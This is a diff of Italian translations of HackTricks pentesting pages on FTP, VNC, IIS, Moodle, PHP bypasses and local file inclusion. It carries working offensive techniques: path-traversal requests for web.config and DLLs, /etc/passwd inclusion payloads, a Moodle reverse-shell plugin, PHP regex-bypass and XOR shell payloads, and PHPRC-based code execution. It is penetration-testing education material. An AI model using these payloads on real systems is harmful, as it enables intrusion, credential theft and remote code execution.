In **Active FTP**, il **client** FTP prima **inizia** la **connessione** di controllo dalla sua porta N alla porta di comando del server FTP – porta 21. Il **client** poi **ascolta** sulla porta **N+1** e invia la porta N+1 al server FTP. Il **Server** FTP poi **inizia** la **connessione** dati, dalla **sua porta M alla porta N+1** del client FTP.
|
||||
|
||||
Ma, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E, una soluzione fattibile per questo è il Passive FTP.
|
||||
Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E una soluzione fattibile per questo è il Passive FTP.
|
||||
|
||||
Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo questo, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP.
|
||||
|
||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Debugging della connessione
|
||||
|
||||
@ -105,7 +105,7 @@ Qui puoi trovare un'ottima lista con le credenziali ftp predefinite: [https://gi
|
||||
|
||||
### Automated
|
||||
|
||||
Il login anonimo e i controlli di bounce FTP vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o:
|
||||
Il login anonimo e i controlli FTP di rimbalzo vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,7 +115,7 @@ Puoi connetterti a un server FTP utilizzando un browser (come Firefox) usando un
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP**, puoi inviare byte codificati in doppia URL `%0d%0a` (in doppia URL encode questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http).
|
||||
Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP** puoi inviare byte codificati in doppia URL `%0d%0a` (in doppia URL encode questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http).
|
||||
|
||||
## Scarica tutti i file da FTP
|
||||
```bash
|
||||
@ -139,7 +139,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`STOR /path/something.txt`** Come `APPE` ma sovrascriverà i file
|
||||
- **`STOU /path/something.txt`** Come `APPE`, ma se esiste non farà nulla.
|
||||
- **`RETR /path/to/file`** Deve essere stabilita una connessione passiva o una connessione port. Poi, il server FTP invierà il file indicato attraverso quella connessione
|
||||
- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare dal 6° byte.
|
||||
- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare al 6° byte.
|
||||
- **`TYPE i`** Imposta il trasferimento su binario
|
||||
- **`PASV`** Questo aprirà una connessione passiva e indicherà all'utente dove può connettersi
|
||||
- **`PUT /tmp/file.txt`** Carica il file indicato sull'FTP
|
||||
@ -164,9 +164,9 @@ La teoria è semplice:
|
||||
|
||||
- Se stai inviando una richiesta HTTP, **metti la stessa richiesta una dopo l'altra** fino a **\~0.5MB** almeno. Così:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP forse solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file)
|
||||
- Basta **riempire la richiesta con molti caratteri nulli o altri** (divisi su righe o meno)
|
||||
@ -175,7 +175,7 @@ Comunque, qui hai un [vecchio esempio su come abusare di questo per far scaricar
|
||||
|
||||
## Vulnerabilità del server Filezilla
|
||||
|
||||
**FileZilla** di solito **si lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
**FileZilla** di solito **lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
|
||||
## File di configurazione
|
||||
```
|
||||
@ -186,7 +186,7 @@ vsftpd.conf
|
||||
```
|
||||
### Post-Exploitation
|
||||
|
||||
La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf`. Qui puoi trovare alcune impostazioni pericolose:
|
||||
La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf`. Qui, potresti trovare alcune impostazioni pericolose:
|
||||
|
||||
- `anonymous_enable=YES`
|
||||
- `anon_upload_enable=YES`
|
||||
@ -196,7 +196,7 @@ La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf
|
||||
- `chown_username=username` - Utente a cui viene data la proprietà dei file caricati in modo anonimo
|
||||
- `local_enable=YES` - Abilita gli utenti locali a effettuare il login
|
||||
- `no_anon_password=YES` - Non chiedere la password agli anonimi
|
||||
- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE e SITE
|
||||
- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, e SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
|
||||
@ -2,10 +2,9 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
**Virtual Network Computing (VNC)** è un robusto sistema di condivisione desktop grafico che utilizza il protocollo **Remote Frame Buffer (RFB)** per abilitare il controllo remoto e la collaborazione con un altro computer. Con VNC, gli utenti possono interagire senza soluzione di continuità con un computer remoto trasmettendo eventi di tastiera e mouse in entrambe le direzioni. Questo consente l'accesso in tempo reale e facilita un'assistenza o collaborazione remota efficiente su una rete.
|
||||
**Virtual Network Computing (VNC)** è un robusto sistema di condivisione desktop grafico che utilizza il protocollo **Remote Frame Buffer (RFB)** per abilitare il controllo remoto e la collaborazione con un altro computer. Con VNC, gli utenti possono interagire senza soluzione di continuità con un computer remoto trasmettendo eventi di tastiera e mouse in entrambe le direzioni. Questo consente l'accesso in tempo reale e facilita un'assistenza remota o una collaborazione efficiente su una rete.
|
||||
|
||||
VNC di solito utilizza le porte **5800 o 5801 o 5900 o 5901.**
|
||||
```
|
||||
@ -17,7 +16,7 @@ PORT STATE SERVICE
|
||||
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vnc/vnc_none_auth
|
||||
```
|
||||
### [**Forza bruta**](../generic-hacking/brute-force.md#vnc)
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#vnc)
|
||||
|
||||
## Connettersi a vnc utilizzando Kali
|
||||
```bash
|
||||
@ -32,15 +31,16 @@ Se hai la password VNC e sembra crittografata (alcuni byte, come se potesse esse
|
||||
make
|
||||
vncpwd <vnc password file>
|
||||
```
|
||||
Puoi fare questo perché la password utilizzata all'interno di 3des per crittografare le password VNC in chiaro è stata invertita anni fa.\
|
||||
Puoi farlo perché la password utilizzata all'interno di 3des per crittografare le password VNC in chiaro è stata invertita anni fa.\
|
||||
Per **Windows** puoi anche usare questo strumento: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||
Salvo anche lo strumento qui per facilità di accesso:
|
||||
|
||||
{% file src="../images/vncpwd.zip" %}
|
||||
{{#file}}
|
||||
vncpwd.zip
|
||||
{{#endfile}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5900 RFB`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -37,7 +37,9 @@ Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](http
|
||||
|
||||
Scarica l'elenco che ho creato:
|
||||
|
||||
{% file src="../../images/iisfinal.txt" %}
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
{{#endfile}}
|
||||
|
||||
È stato creato unendo i contenuti dei seguenti elenchi:
|
||||
|
||||
@ -61,9 +63,9 @@ Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/fro
|
||||
> Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
|
||||
> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.\\
|
||||
|
||||
Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione si basa attraverso i tag XML **"assemblyIdentity"**.
|
||||
Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ciascun file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**.
|
||||
|
||||
### **Esplorare file binari**
|
||||
### **Esplorare i file binari**
|
||||
|
||||
Un esempio di accesso al file **web.config** è mostrato di seguito:
|
||||
```markup
|
||||
@ -86,12 +88,12 @@ I file trovati nella directory radice, come **/global.asax** e **/connectionstri
|
||||
|
||||
### **Namespace e Web.Config**
|
||||
|
||||
Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**:
|
||||
Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Download di DLL**
|
||||
### **Scaricare DLL**
|
||||
|
||||
La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
|
||||
```markup
|
||||
@ -205,7 +207,7 @@ Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_ti
|
||||
|
||||
Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Bypass dell'autenticazione di base
|
||||
|
||||
@ -215,7 +217,7 @@ Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nu
|
||||
|
||||
## Debugging ASP.NET Trace.AXD abilitato
|
||||
|
||||
ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`.
|
||||
ASP.NET include una modalità di debug e il suo file si chiama `trace.axd`.
|
||||
|
||||
Tiene un log molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Scans Automatici
|
||||
|
||||
### droopescan
|
||||
@ -73,9 +72,11 @@ Devi avere il ruolo di **manager** e puoi **installare plugin** all'interno dell
|
||||
|
||||
Se sei manager potresti comunque dover **attivare questa opzione**. Puoi vedere come nel PoC di escalation dei privilegi di moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
|
||||
|
||||
Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo_)
|
||||
Poi, puoi **installare il seguente plugin** che contiene il classico pentest-monkey php r**ev shell** (_prima di caricarlo devi decomprimerlo, cambiare l'IP e la porta del revshell e ricomprimerlo di nuovo_)
|
||||
|
||||
{% file src="../../images/moodle-rce-plugin.zip" %}
|
||||
{{#file}}
|
||||
moodle-rce-plugin.zip
|
||||
{{#endfile}}
|
||||
|
||||
Oppure potresti usare il plugin da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) per ottenere una shell PHP regolare con il parametro "cmd".
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Posizione comune dei cookie:
|
||||
|
||||
Questo è valido anche per i cookie di phpMyAdmin.
|
||||
@ -21,15 +20,17 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
||||
```
|
||||
## Bypassare i confronti PHP
|
||||
|
||||
### Confronti deboli/Type Juggling ( == )
|
||||
### Confronti deboli/Gestione dei tipi ( == )
|
||||
|
||||
Se `==` viene utilizzato in PHP, ci sono casi inaspettati in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
|
||||
Se `==` viene utilizzato in PHP, ci sono casi imprevisti in cui il confronto non si comporta come previsto. Questo perché "==" confronta solo i valori trasformati nello stesso tipo, se vuoi anche confrontare che il tipo dei dati confrontati sia lo stesso devi usare `===`.
|
||||
|
||||
Tabelle di confronto PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
.png>)
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
{{#file}}
|
||||
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` Una stringa che non inizia con un numero è uguale a un numero
|
||||
- `"0xAAAA" == "43690" -> True` Stringhe composte da numeri in formato decimale o esadecimale possono essere confrontate con altri numeri/stringhe con True come risultato se i numeri erano gli stessi (i numeri in una stringa sono interpretati come numeri)
|
||||
@ -42,7 +43,7 @@ Ulteriori informazioni in [https://medium.com/swlh/php-type-juggling-vulnerabili
|
||||
|
||||
### **in_array()**
|
||||
|
||||
**Type Juggling** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
**Gestione dei tipi** influisce anche sulla funzione `in_array()` per impostazione predefinita (devi impostare a true il terzo argomento per effettuare un confronto rigoroso):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
@ -63,17 +64,17 @@ Lo stesso errore si verifica con `strcasecmp()`
|
||||
|
||||
### Juggling di tipo rigoroso
|
||||
|
||||
Anche se `===` è **utilizzato**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **juggling di tipo**. Ad esempio, se la comparazione **converte i dati in un diverso tipo di oggetto prima di confrontare**:
|
||||
Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **comparazione vulnerabile** al **juggling di tipo**. Ad esempio, se la comparazione **converte i dati in un diverso tipo di oggetto prima di confrontare**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** può essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
|
||||
**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **blacklist** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
|
||||
|
||||
#### Bypass della nuova riga
|
||||
|
||||
Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
|
||||
Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di aggirare questo controllo. Esempio:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -86,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) oppure, se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) o se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -114,7 +115,7 @@ In breve, il problema si verifica perché le funzioni `preg_*` in PHP si basano
|
||||
[Questo thread di Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) è stato anche collegato nel post dove si parla più in dettaglio di questo problema. Il nostro compito era ora chiaro:\
|
||||
**Inviare un input che avrebbe fatto fare 100_000+ ricorsioni all'espressione regolare, causando SIGSEGV, facendo restituire alla funzione `preg_match()` `false`, facendo così pensare all'applicazione che il nostro input non è malevolo, lanciando la sorpresa alla fine del payload qualcosa come `{system(<verybadcommand>)}` per ottenere SSTI --> RCE --> flag :)**.
|
||||
|
||||
Bene, in termini di regex, in realtà non stiamo facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\
|
||||
Bene, in termini di regex, non stiamo effettivamente facendo 100k "ricorsioni", ma stiamo contando i "passi di backtracking", che come afferma la [documentazione PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) è impostata di default a 1_000_000 (1M) nella variabile `pcre.backtrack_limit`.\
|
||||
Per raggiungere questo, `'X'*500_001` risulterà in 1 milione di passi di backtracking (500k in avanti e 500k indietro):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
@ -152,15 +153,15 @@ Check:
|
||||
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che sono utilizzate all'interno del codice.
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che vengono utilizzate all'interno del codice.
|
||||
- I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che **il valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2).
|
||||
- Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
Queste funzioni sono tipicamente utilizzate in PHP per **generare hash dalle password** e per **verificare** se una password è corretta rispetto a un hash.\
|
||||
Queste funzioni sono tipicamente utilizzate in PHP per **generare hash da password** e per **verificare** se una password è corretta rispetto a un hash.\
|
||||
Gli algoritmi supportati sono: `PASSWORD_DEFAULT` e `PASSWORD_BCRYPT` (inizia con `$2y$`). Nota che **PASSWORD_DEFAULT è frequentemente lo stesso di PASSWORD_BCRYPT.** E attualmente, **PASSWORD_BCRYPT** ha una **limitazione di dimensione nell'input di 72byte**. Pertanto, quando provi a fare hash di qualcosa di più grande di 72byte con questo algoritmo, verranno utilizzati solo i primi 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
@ -181,9 +182,9 @@ Consentendo di bypassare, ad esempio, gli header CSP impostati in codici come:
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Riempire un corpo prima di impostare le intestazioni
|
||||
#### Compilare un corpo prima di impostare le intestazioni
|
||||
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che, quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
|
||||
|
||||
.png>)
|
||||
@ -233,7 +234,7 @@ Dovrai **rompere** la **sintassi** del codice, **aggiungere** il tuo **payload**
|
||||
|
||||
**Altra opzione** (se hai il codice interno) è modificare alcune variabili per alterare l'esecuzione: `$file = "hola"`
|
||||
|
||||
### **RCE tramite usort()**
|
||||
### **RCE via usort()**
|
||||
|
||||
Questa funzione viene utilizzata per ordinare un array di elementi utilizzando una funzione specifica.\
|
||||
Per abusare di questa funzione:
|
||||
@ -266,7 +267,7 @@ Per scoprire il numero di parentesi che devi chiudere:
|
||||
|
||||
### **RCE tramite .httaccess**
|
||||
|
||||
Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere **eseguiti**).
|
||||
Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possano essere **eseguiti**).
|
||||
|
||||
Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghoul/htshells)
|
||||
|
||||
@ -275,7 +276,7 @@ Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghou
|
||||
Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Questa variabile env ti consente di caricare librerie arbitrarie durante l'esecuzione di altri binari (anche se in questo caso potrebbe non funzionare).
|
||||
- **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, solitamente chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
- **`PHPRC`** : Istruisce PHP su **dove trovare il suo file di configurazione**, di solito chiamato `php.ini`. Se puoi caricare il tuo file di configurazione, allora usa `PHPRC` per puntare a esso. Aggiungi un'entrata **`auto_prepend_file`** specificando un secondo file caricato. Questo secondo file contiene codice **PHP normale, che viene poi eseguito** dal runtime PHP prima di qualsiasi altro codice.
|
||||
1. Carica un file PHP contenente il nostro shellcode
|
||||
2. Carica un secondo file, contenente una direttiva **`auto_prepend_file`** che istruisce il preprocessore PHP a eseguire il file che abbiamo caricato nel passo 1
|
||||
3. Imposta la variabile `PHPRC` sul file che abbiamo caricato nel passo 2.
|
||||
@ -308,7 +309,7 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
## Bypass della sanitizzazione PHP & Brain Fuck
|
||||
|
||||
[**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
@ -317,7 +318,7 @@ Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che
|
||||
```
|
||||
## Analisi statica di PHP
|
||||
|
||||
Controlla se puoi inserire codice nelle chiamate a queste funzioni (da [qui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
||||
Guarda se puoi inserire codice nelle chiamate a queste funzioni (da [qui](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
@ -374,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR easy shell code
|
||||
|
||||
Secondo [**questo writeup** ](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo:
|
||||
Secondo [**questo writeup**](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Esplorare le Directory del File System su un Server
|
||||
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo implica determinare la profondità della directory e sondare l'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la verifica dell'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
|
||||
1. **Determinare la Profondità della Directory:** Accertare la profondità della tua directory attuale recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi naviga di nuovo a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -110,7 +110,7 @@ Il troncamento del percorso è un metodo impiegato per manipolare i percorsi dei
|
||||
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file target.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||
|
||||
